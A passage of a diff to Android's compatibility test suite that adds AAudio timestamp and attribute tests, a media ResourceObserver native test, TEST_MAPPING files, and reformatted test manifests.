+        const int64_t frameTimeDelta = (frameIndexDelta * NANOS_PER_SECOND) / actual().sampleRate;
+        const int64_t framePresentationTime = presentationTime + frameTimeDelta;
+        return isOutput() ? (framePresentationTime - nowNs) : (nowNs - framePresentationTime);
+    }
+
+    void testTimestamp(const int64_t timeoutNanos) {
+        // Record for 1 seconds to ensure we can get a valid timestamp
+        const int32_t frames = actual().sampleRate;
+        mHelper->startStream();
+        int64_t maxLatencyNanos = 0;
+        int64_t minLatencyNanos = NANOS_PER_SECOND;
+        int64_t sumLatencyNanos = 0;
+        int64_t lastPresentationPosition = -1;
+        // Get the maximum and minimum latency within 3 successfully timestamp query.
+        for (int i = 0; i < NUM_TIMESTAMP_QUERY; ++i) {
+            aaudio_result_t result;
+            int maxRetries = 10; // Try 10 times to get timestamp
+            int64_t presentationTime = 0;
+            int64_t presentationPosition = 0;
+            do {
+                processData(frames, timeoutNanos);
+                presentationTime = 0;
+                presentationPosition = 0;
+                result = AAudioStream_getTimestamp(
+                        stream(), CLOCK_MONOTONIC, &presentationPosition, &presentationTime);
+            } while (result != AAUDIO_OK && --maxRetries > 0 &&
+                    lastPresentationPosition == presentationPosition);
+
+            if (result == AAUDIO_OK) {
+                const int64_t latencyNanos = getLatency(presentationTime, presentationPosition);
+                maxLatencyNanos = std::max(maxLatencyNanos, latencyNanos);
+                minLatencyNanos = std::min(minLatencyNanos, latencyNanos);
+                sumLatencyNanos += latencyNanos;
+            }
+
+            EXPECT_EQ(AAUDIO_OK, result);
+            // There should be a new timestamp available in 10s.
+            EXPECT_NE(lastPresentationPosition, presentationPosition);
+            lastPresentationPosition = presentationPosition;
+        }
+        mHelper->stopStream();
+        // The latency must be consistent.
+        EXPECT_LT(maxLatencyNanos - minLatencyNanos, MAX_LATENCY_RANGE);
+        EXPECT_LT(sumLatencyNanos / NUM_TIMESTAMP_QUERY, MAX_LATENCY);
+    }
+
+    virtual bool isOutput() const = 0;
+
+    virtual void processData(const int32_t frames, const int64_t timeoutNanos) = 0;
+
     std::unique_ptr<T> mHelper;
     bool mSetupSuccessful = false;
 
@@ -140,6 +199,9 @@
 protected:
     void SetUp() override;
 
+    bool isOutput() const override { return false; }
+    void processData(const int32_t frames, const int64_t timeoutNanos) override;
+
     int32_t mFramesPerRead;
 };
 
@@ -163,6 +225,18 @@
     allocateDataBuffer(mFramesPerRead);
 }
 
+void AAudioInputStreamTest::processData(const int32_t frames, const int64_t timeoutNanos) {
+    // See b/62090113. For legacy path, the device is only known after
+    // the stream has been started.
+    EXPECT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
+    for (int32_t framesLeft = frames; framesLeft > 0; ) {
+        aaudio_result_t result = AAudioStream_read(
+                stream(), getDataBuffer(), std::min(frames, mFramesPerRead), timeoutNanos);
+        EXPECT_GT(result, 0);
+        framesLeft -= result;
+    }
+}
+
 TEST_P(AAudioInputStreamTest, testReading) {
     if (!mSetupSuccessful) return;
 
@@ -170,22 +244,19 @@
     EXPECT_EQ(0, AAudioStream_getFramesRead(stream()));
     EXPECT_EQ(0, AAudioStream_getFramesWritten(stream()));
     mHelper->startStream();
-    // See b/62090113. For legacy path, the device is only known after
-    // the stream has been started.
-    ASSERT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
-    for (int32_t framesLeft = framesToRecord; framesLeft > 0; ) {
-        aaudio_result_t result = AAudioStream_read(
-                stream(), getDataBuffer(), std::min(framesToRecord, mFramesPerRead),
-                DEFAULT_READ_TIMEOUT);
-        ASSERT_GT(result, 0);
-        framesLeft -= result;
-    }
+    processData(framesToRecord, DEFAULT_READ_TIMEOUT);
     mHelper->stopStream();
     EXPECT_GE(AAudioStream_getFramesRead(stream()), framesToRecord);
     EXPECT_GE(AAudioStream_getFramesWritten(stream()), framesToRecord);
     EXPECT_GE(AAudioStream_getXRunCount(stream()), 0);
 }
 
+TEST_P(AAudioInputStreamTest, testGetTimestamp) {
+    if (!mSetupSuccessful) return;
+
+    testTimestamp(DEFAULT_READ_TIMEOUT);
+}
+
 TEST_P(AAudioInputStreamTest, testStartReadStop) {
     if (!mSetupSuccessful) return;
 
@@ -274,6 +345,9 @@
 class AAudioOutputStreamTest : public AAudioStreamTest<OutputStreamBuilderHelper> {
   protected:
     void SetUp() override;
+
+    bool isOutput() const override { return true; }
+    void processData(const int32_t frames, const int64_t timeoutNanos) override;
 };
 
 void AAudioOutputStreamTest::SetUp() {
@@ -290,6 +364,16 @@
     allocateDataBuffer(framesPerBurst());
 }
 
+void AAudioOutputStreamTest::processData(const int32_t frames, const int64_t timeoutNanos) {
+    for (int32_t framesLeft = frames; framesLeft > 0;) {
+        aaudio_result_t framesWritten = AAudioStream_write(
+                stream(), getDataBuffer(),
+                std::min(framesPerBurst(), framesLeft), timeoutNanos);
+        EXPECT_GT(framesWritten, 0);
+        framesLeft -= framesWritten;
+    }
+}
+
 TEST_P(AAudioOutputStreamTest, testWriting) {
     if (!mSetupSuccessful) return;
 
@@ -454,6 +538,19 @@
     }
 }
 
+TEST_P(AAudioOutputStreamTest, testGetTimestamp) {
+    if (!mSetupSuccessful) return;
+
+    // Calculate a reasonable timeout value.
+    const int32_t timeoutBursts = 20;
+    int64_t timeoutNanos =
+            timeoutBursts * (NANOS_PER_SECOND * framesPerBurst() / actual().sampleRate);
+    // Account for cold start latency.
+    timeoutNanos = std::max(timeoutNanos, 400 * NANOS_PER_MILLISECOND);
+
+    testTimestamp(timeoutNanos);
+}
+
 TEST_P(AAudioOutputStreamTest, testRelease) {
     if (!mSetupSuccessful) return;
 
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
index 4d9194f..c3a1fa7 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
@@ -29,6 +29,7 @@
 constexpr int kChannelCount = 2;
 
 constexpr int32_t DONT_SET = -1000;
+constexpr const char *DONT_SET_STR = "don't set";
 
 static void checkAttributes(aaudio_performance_mode_t perfMode,
                             aaudio_usage_t usage,
@@ -36,7 +37,9 @@
                             aaudio_input_preset_t preset = DONT_SET,
                             aaudio_allowed_capture_policy_t capturePolicy = DONT_SET,
                             int privacyMode = DONT_SET,
-                            aaudio_direction_t direction = AAUDIO_DIRECTION_OUTPUT) {
+                            aaudio_direction_t direction = AAUDIO_DIRECTION_OUTPUT,
+                            const char *packageName = DONT_SET_STR,
+                            const char *attributionTag = DONT_SET_STR) {
     if (direction == AAUDIO_DIRECTION_INPUT
             && !deviceSupportsFeature(FEATURE_RECORDING)) return;
     else if (direction == AAUDIO_DIRECTION_OUTPUT
@@ -70,6 +73,12 @@
     if (privacyMode != DONT_SET) {
         AAudioStreamBuilder_setPrivacySensitive(aaudioBuilder, (bool)privacyMode);
     }
+    if (packageName != DONT_SET_STR) {
+        AAudioStreamBuilder_setPackageName(aaudioBuilder, packageName);
+    }
+    if (attributionTag != DONT_SET_STR) {
+        AAudioStreamBuilder_setAttributionTag(aaudioBuilder, attributionTag);
+    }
 
     // Create an AAudioStream using the Builder.
     ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_openStream(aaudioBuilder, &aaudioStream));
@@ -181,6 +190,17 @@
     true,
 };
 
+static const char *sPackageNames[] = {
+    DONT_SET_STR,
+    "android.nativemedia.aaudio",
+};
+
+static const char *sAttributionTags[] = {
+    DONT_SET_STR,
+    "validTag",
+    NULL,
+};
+
 static void checkAttributesUsage(aaudio_performance_mode_t perfMode) {
     for (aaudio_usage_t usage : sUsages) {
         // There can be a race condition when switching between devices,
@@ -231,6 +251,45 @@
     }
 }
 
+TEST(test_attributes, package_name) {
+    for (const char *packageName : sPackageNames) {
+        checkAttributes(AAUDIO_PERFORMANCE_MODE_NONE,
+                        DONT_SET,
+                        DONT_SET,
+                        DONT_SET,
+                        DONT_SET,
+                        DONT_SET,
+                        AAUDIO_DIRECTION_INPUT,
+                        packageName);
+    }
+}
+
+TEST(test_attributes_low_latency, package_name) {
+    for (const char *packageName : sPackageNames) {
+        checkAttributes(AAUDIO_PERFORMANCE_MODE_LOW_LATENCY,
+                        DONT_SET,
+                        DONT_SET,
+                        DONT_SET,
+                        DONT_SET,
+                        DONT_SET,
+                        AAUDIO_DIRECTION_INPUT,
+                        packageName);
+    }
+}
+
+TEST(test_attributes, attribution_tag) {
+    for (const char *attributionTag : sAttributionTags) {
+        checkAttributes(AAUDIO_PERFORMANCE_MODE_NONE,
+                        DONT_SET,
+                        DONT_SET,
+                        DONT_SET,
+                        DONT_SET,
+                        DONT_SET,
+                        AAUDIO_DIRECTION_INPUT,
+                        DONT_SET_STR,
+                        attributionTag);
+    }
+}
 
 TEST(test_attributes, aaudio_usage_perfnone) {
     checkAttributesUsage(AAUDIO_PERFORMANCE_MODE_NONE);
diff --git a/tests/tests/nativemedia/aaudio/res/values/strings.xml b/tests/tests/nativemedia/aaudio/res/values/strings.xml
new file mode 100644
index 0000000..c07cdf2
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="attributionTag">A tag</string>
+</resources>
+
diff --git a/tests/tests/nativemedia/resourceobserver/Android.bp b/tests/tests/nativemedia/resourceobserver/Android.bp
new file mode 100644
index 0000000..d4d77b0
--- /dev/null
+++ b/tests/tests/nativemedia/resourceobserver/Android.bp
@@ -0,0 +1,45 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "ResourceObserverNativeTest",
+
+    compile_multilib: "both",
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+
+    srcs: ["src/ResourceObserverNativeTest.cpp"],
+
+    shared_libs: [
+        "libbinder_ndk",
+        "liblog",
+        "libmediandk",
+    ],
+
+    static_libs: [
+        "libbase_ndk",
+        "libgtest",
+        "resourceobserver_aidl_interface-V1-ndk",
+    ],
+    whole_static_libs: [
+        "libnativetesthelper_jni"
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+}
diff --git a/tests/tests/nativemedia/resourceobserver/AndroidTest.xml b/tests/tests/nativemedia/resourceobserver/AndroidTest.xml
new file mode 100644
index 0000000..1f1b6bd
--- /dev/null
+++ b/tests/tests/nativemedia/resourceobserver/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS ResourceObserver test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="ResourceObserverNativeTest->/data/local/tmp/ResourceObserverNativeTest" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.GTest" >
+        <option name="native-test-device-path" value="/data/local/tmp" />
+        <option name="module-name" value="ResourceObserverNativeTest" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+    <!-- Controller that will skip the module if a native bridge situation is detected -->
+    <!-- For example: module wants to run arm and device is x86 -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
+</configuration>
diff --git a/tests/tests/nativemedia/resourceobserver/OWNERS b/tests/tests/nativemedia/resourceobserver/OWNERS
new file mode 100644
index 0000000..5679184
--- /dev/null
+++ b/tests/tests/nativemedia/resourceobserver/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 1344
+chz@google.com
+wonsik@google.com
+lajos@google.com
diff --git a/tests/tests/nativemedia/resourceobserver/src/ResourceObserverNativeTest.cpp b/tests/tests/nativemedia/resourceobserver/src/ResourceObserverNativeTest.cpp
new file mode 100644
index 0000000..1bdffad
--- /dev/null
+++ b/tests/tests/nativemedia/resourceobserver/src/ResourceObserverNativeTest.cpp
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// #define LOG_NDEBUG 0
+#define LOG_TAG "ResourceObserverNativeTest"
+
+#include <aidl/android/media/BnResourceObserver.h>
+#include <aidl/android/media/IResourceObserverService.h>
+#include <android-base/logging.h>
+#include <android/binder_ibinder.h>
+#include <android/binder_manager.h>
+#include <android/binder_process.h>
+#include <gtest/gtest.h>
+
+#include "media/NdkMediaCodec.h"
+
+using namespace android;
+using Status = ::ndk::ScopedAStatus;
+using ::aidl::android::media::BnResourceObserver;
+using ::aidl::android::media::IResourceObserverService;
+using ::aidl::android::media::MediaObservableEvent;
+using ::aidl::android::media::MediaObservableFilter;
+using ::aidl::android::media::MediaObservableParcel;
+using ::aidl::android::media::MediaObservableType;
+
+static const char* MIMETYPE_AVC = "video/avc";
+
+static std::string toString(const MediaObservableParcel& observable) {
+    return "{" + ::aidl::android::media::toString(observable.type) + ", " +
+            std::to_string(observable.value) + "}";
+}
+
+class ResourceObserverNativeTest : public ::testing::Test {
+public:
+    void SetUp() override { ABinderProcess_startThreadPool(); }
+    void TearDown() override {}
+
+    struct StatusChangeEvent {
+        MediaObservableEvent event;
+        int32_t uid;
+        int32_t pid;
+        std::vector<MediaObservableParcel> observables;
+    };
+    struct ResourceObserver : public BnResourceObserver {
+        explicit ResourceObserver() {}
+
+        // IResourceObserver
+        ::ndk::ScopedAStatus onStatusChanged(
+                MediaObservableEvent event, int32_t uid, int32_t pid,
+                const std::vector<MediaObservableParcel>& observables) override {
+            LOG(INFO) << ::aidl::android::media::toString(event) << ", uid: " << uid
+                      << ", pid: " << pid << ", " << toString(observables[0]).c_str();
+
+            std::scoped_lock lock{mLock};
+            mLastEvent.event = event;
+            mLastEvent.uid = uid;
+            mLastEvent.pid = pid;
+            mLastEvent.observables = observables;
+            mStatusChangeCalled = true;
+            mCondition.notify_one();
+            return ::ndk::ScopedAStatus::ok();
+        }
+        // ~IResourceObserver
+
+        bool waitForEvent(StatusChangeEvent& event, int64_t timeoutUs = 0) {
+            std::unique_lock lock{mLock};
+            if (!mStatusChangeCalled && timeoutUs > 0) {
+                mCondition.wait_for(lock, std::chrono::microseconds(timeoutUs));
+            }
+            if (!mStatusChangeCalled) {
+                return false;
+            }
+            event = mLastEvent;
+            mStatusChangeCalled = false;
+            return true;
+        }
+        std::mutex mLock;
+        std::condition_variable mCondition;
+        bool mStatusChangeCalled = false;
+        StatusChangeEvent mLastEvent;
+    };
+
+    void testResourceObserver(MediaObservableEvent eventType) {
+        ::ndk::SpAIBinder binder(AServiceManager_getService("media.resource_observer"));
+        std::shared_ptr<IResourceObserverService> service =
+                IResourceObserverService::fromBinder(binder);
+
+        EXPECT_NE(service, nullptr);
+
+        std::shared_ptr<ResourceObserver> observer = ::ndk::SharedRefBase::make<ResourceObserver>();
+        std::vector<MediaObservableFilter> filters = {{MediaObservableType::kVideoSecureCodec,
+                                                       eventType},
+                                                      {MediaObservableType::kVideoNonSecureCodec,
+                                                       eventType}};
+
+        Status status = service->registerObserver(observer, filters);
+        EXPECT_TRUE(status.isOk());
+
+        AMediaCodec* dec = AMediaCodec_createDecoderByType(MIMETYPE_AVC);
+
+        // We only test this if the AVC non-secure decoder can be created.
+        if (dec != nullptr) {
+            StatusChangeEvent event;
+            if ((uint64_t)eventType & (uint64_t)MediaObservableEvent::kBusy) {
+                EXPECT_TRUE(observer->waitForEvent(event, 100000));
+                verifyEvent(event, MediaObservableEvent::kBusy,
+                            MediaObservableType::kVideoNonSecureCodec);
+            } else {
+                // Should not receive any event, wait 1 second to confirm.
+                EXPECT_FALSE(observer->waitForEvent(event, 1000000));
+            }
+
+            AMediaCodec_delete(dec);
+
+            if ((uint64_t)eventType & (uint64_t)MediaObservableEvent::kIdle) {
+                EXPECT_TRUE(observer->waitForEvent(event, 100000));
+                verifyEvent(event, MediaObservableEvent::kIdle,
+                            MediaObservableType::kVideoNonSecureCodec);
+            } else {
+                // Should not receive any event, wait 1 second to confirm.
+                EXPECT_FALSE(observer->waitForEvent(event, 1000000));
+            }
+        }
+
+        status = service->unregisterObserver(observer);
+        EXPECT_TRUE(status.isOk());
+    }
+
+    void verifyEvent(const StatusChangeEvent& event, MediaObservableEvent expectedEventType,
+                     MediaObservableType expectedObservableType) {
+        EXPECT_EQ(event.event, expectedEventType);
+        EXPECT_EQ(event.pid, getpid());
+        EXPECT_EQ(event.uid, getuid());
+        EXPECT_EQ(event.observables.size(), 1);
+        EXPECT_EQ(event.observables[0].type, expectedObservableType);
+        EXPECT_EQ(event.observables[0].value, 1);
+    }
+};
+
+//-------------------------------------------------------------------------------------------------
+TEST_F(ResourceObserverNativeTest, testInvalidParameters) {
+    LOG(INFO) << "testInvalidParameters";
+
+    ::ndk::SpAIBinder binder(AServiceManager_getService("media.resource_observer"));
+    std::shared_ptr<IResourceObserverService> service =
+            IResourceObserverService::fromBinder(binder);
+
+    EXPECT_NE(service, nullptr);
+
+    std::shared_ptr<ResourceObserver> observer = ::ndk::SharedRefBase::make<ResourceObserver>();
+    std::vector<MediaObservableFilter> filters = {{MediaObservableType::kVideoSecureCodec,
+                                                   MediaObservableEvent::kAll},
+                                                  {MediaObservableType::kVideoNonSecureCodec,
+                                                   MediaObservableEvent::kAll}};
+    std::vector<MediaObservableFilter> emptyFilters;
+
+    // Test register with null observer fails.
+    Status status = service->registerObserver(nullptr, filters);
+    EXPECT_FALSE(status.isOk());
+    EXPECT_EQ(status.getServiceSpecificError(), BAD_VALUE);
+
+    // Test register with empty filter list fails.
+    status = service->registerObserver(observer, emptyFilters);
+    EXPECT_FALSE(status.isOk());
+    EXPECT_EQ(status.getServiceSpecificError(), BAD_VALUE);
+
+    // Test register duplicate observer fails.
+    status = service->registerObserver(observer, filters);
+    EXPECT_TRUE(status.isOk());
+    status = service->registerObserver(observer, filters);
+    EXPECT_FALSE(status.isOk());
+    EXPECT_EQ(status.getServiceSpecificError(), ALREADY_EXISTS);
+
+    status = service->unregisterObserver(observer);
+    EXPECT_TRUE(status.isOk());
+}
+
+TEST_F(ResourceObserverNativeTest, testResourceObserverBusy) {
+    LOG(INFO) << "testResourceObserverBusy";
+
+    testResourceObserver(MediaObservableEvent::kBusy);
+}
+
+TEST_F(ResourceObserverNativeTest, testResourceObserverIdle) {
+    LOG(INFO) << "testResourceObserverIdle";
+
+    testResourceObserver(MediaObservableEvent::kIdle);
+}
+
+TEST_F(ResourceObserverNativeTest, testResourceObserverAll) {
+    LOG(INFO) << "testResourceObserverAll";
+
+    testResourceObserver(MediaObservableEvent::kAll);
+}
diff --git a/tests/tests/nativemedia/sl/TEST_MAPPING b/tests/tests/nativemedia/sl/TEST_MAPPING
new file mode 100644
index 0000000..e2f65df
--- /dev/null
+++ b/tests/tests/nativemedia/sl/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNativeMediaSlTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/nativemedia/xa/TEST_MAPPING b/tests/tests/nativemedia/xa/TEST_MAPPING
new file mode 100644
index 0000000..e73b66e
--- /dev/null
+++ b/tests/tests/nativemedia/xa/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNativeMediaXaTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/nativemidi/AndroidManifest.xml b/tests/tests/nativemidi/AndroidManifest.xml
index 1275ea0..f89d012 100755
--- a/tests/tests/nativemidi/AndroidManifest.xml
+++ b/tests/tests/nativemidi/AndroidManifest.xml
@@ -16,38 +16,37 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.nativemidi.cts">
+     package="android.nativemidi.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
-    <uses-feature android:name="android.software.midi" android:required="true"/>
+    <uses-feature android:name="android.software.midi"
+         android:required="true"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <service android:name="com.android.midi.MidiEchoTestService"
-            android:permission="android.permission.BIND_MIDI_DEVICE_SERVICE">
+             android:permission="android.permission.BIND_MIDI_DEVICE_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.midi.MidiDeviceService" />
+                <action android:name="android.media.midi.MidiDeviceService"/>
             </intent-filter>
             <meta-data android:name="android.media.midi.MidiDeviceService"
-                android:resource="@xml/echo_device_info" />
+                 android:resource="@xml/echo_device_info"/>
         </service>
 
         <!--
         <activity android:name="android.nativemidi.cts.NativeMidiEchoTest"
-                  android:label="NativeMidiEchoTest"/>
-        -->
+                              android:label="NativeMidiEchoTest"/>
+                    -->
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS Native MIDI tests"
-        android:targetPackage="android.nativemidi.cts" >
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS Native MIDI tests"
+         android:targetPackage="android.nativemidi.cts">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/ndef/TEST_MAPPING b/tests/tests/ndef/TEST_MAPPING
new file mode 100644
index 0000000..6cd1292
--- /dev/null
+++ b/tests/tests/ndef/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNdefTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/netpermission/internetpermission/AndroidManifest.xml b/tests/tests/netpermission/internetpermission/AndroidManifest.xml
index 23b7c0a..45ef5bd 100644
--- a/tests/tests/netpermission/internetpermission/AndroidManifest.xml
+++ b/tests/tests/netpermission/internetpermission/AndroidManifest.xml
@@ -16,12 +16,13 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.networkpermission.internetpermission.cts">
+     package="android.networkpermission.internetpermission.cts">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.networkpermission.internetpermission.cts.InternetPermissionTest"
-                  android:label="InternetPermissionTest">
+             android:label="InternetPermissionTest"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
@@ -30,21 +31,20 @@
     </application>
 
     <!--
-        The CTS stubs package cannot be used as the target application here,
-        since that requires many permissions to be set. Instead, specify this
-        package itself as the target and include any stub activities needed.
+                The CTS stubs package cannot be used as the target application here,
+                since that requires many permissions to be set. Instead, specify this
+                package itself as the target and include any stub activities needed.
 
-        This test package uses the default InstrumentationTestRunner, because
-        the InstrumentationCtsTestRunner is only available in the stubs
-        package. That runner cannot be added to this package either, since it
-        relies on hidden APIs.
-    -->
+                This test package uses the default InstrumentationTestRunner, because
+                the InstrumentationCtsTestRunner is only available in the stubs
+                package. That runner cannot be added to this package either, since it
+                relies on hidden APIs.
+            -->
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.networkpermission.internetpermission.cts"
-                     android:label="CTS tests for INTERNET permissions">
+         android:targetPackage="android.networkpermission.internetpermission.cts"
+         android:label="CTS tests for INTERNET permissions">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/netpermission/internetpermission/TEST_MAPPING b/tests/tests/netpermission/internetpermission/TEST_MAPPING
new file mode 100644
index 0000000..60877f4
--- /dev/null
+++ b/tests/tests/netpermission/internetpermission/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetTestCasesInternetPermission"
+    }
+  ]
+}
diff --git a/tests/tests/netpermission/updatestatspermission/AndroidManifest.xml b/tests/tests/netpermission/updatestatspermission/AndroidManifest.xml
index a4eca82..6babe8f 100644
--- a/tests/tests/netpermission/updatestatspermission/AndroidManifest.xml
+++ b/tests/tests/netpermission/updatestatspermission/AndroidManifest.xml
@@ -16,20 +16,21 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.networkpermission.updatestatspermission.cts">
+     package="android.networkpermission.updatestatspermission.cts">
 
     <!--
-         This CTS test is designed to test that an unprivileged app cannot get the
-         UPDATE_DEVICE_STATS permission even if it specified it in the manifest. the
-         UPDATE_DEVICE_STATS permission is a signature|privileged permission that CTS
-         test cannot have.
-    -->
-    <uses-permission android:name="android.permission.UPDATE_DEVICE_STATS" />
-    <uses-permission android:name="android.permission.INTERNET" />
+                 This CTS test is designed to test that an unprivileged app cannot get the
+                 UPDATE_DEVICE_STATS permission even if it specified it in the manifest. the
+                 UPDATE_DEVICE_STATS permission is a signature|privileged permission that CTS
+                 test cannot have.
+            -->
+    <uses-permission android:name="android.permission.UPDATE_DEVICE_STATS"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.networkpermission.updatestatspermission.cts.UpdateStatsPermissionTest"
-                  android:label="UpdateStatsPermissionTest">
+             android:label="UpdateStatsPermissionTest"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
@@ -38,21 +39,20 @@
     </application>
 
     <!--
-        The CTS stubs package cannot be used as the target application here,
-        since that requires many permissions to be set. Instead, specify this
-        package itself as the target and include any stub activities needed.
+                The CTS stubs package cannot be used as the target application here,
+                since that requires many permissions to be set. Instead, specify this
+                package itself as the target and include any stub activities needed.
 
-        This test package uses the default InstrumentationTestRunner, because
-        the InstrumentationCtsTestRunner is only available in the stubs
-        package. That runner cannot be added to this package either, since it
-        relies on hidden APIs.
-    -->
+                This test package uses the default InstrumentationTestRunner, because
+                the InstrumentationCtsTestRunner is only available in the stubs
+                package. That runner cannot be added to this package either, since it
+                relies on hidden APIs.
+            -->
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.networkpermission.updatestatspermission.cts"
-                     android:label="CTS tests for UPDATE_DEVICE_STATS permissions">
+         android:targetPackage="android.networkpermission.updatestatspermission.cts"
+         android:label="CTS tests for UPDATE_DEVICE_STATS permissions">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/netpermission/updatestatspermission/TEST_MAPPING b/tests/tests/netpermission/updatestatspermission/TEST_MAPPING
new file mode 100644
index 0000000..6d6dfe0
--- /dev/null
+++ b/tests/tests/netpermission/updatestatspermission/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetTestCasesUpdateStatsPermission"
+    }
+  ]
+}
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/TEST_MAPPING b/tests/tests/netsecpolicy/usescleartexttraffic-false/TEST_MAPPING
new file mode 100644
index 0000000..43b85e9
--- /dev/null
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecPolicyUsesCleartextTrafficFalseTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/TEST_MAPPING b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/TEST_MAPPING
new file mode 100644
index 0000000..4b9bb16
--- /dev/null
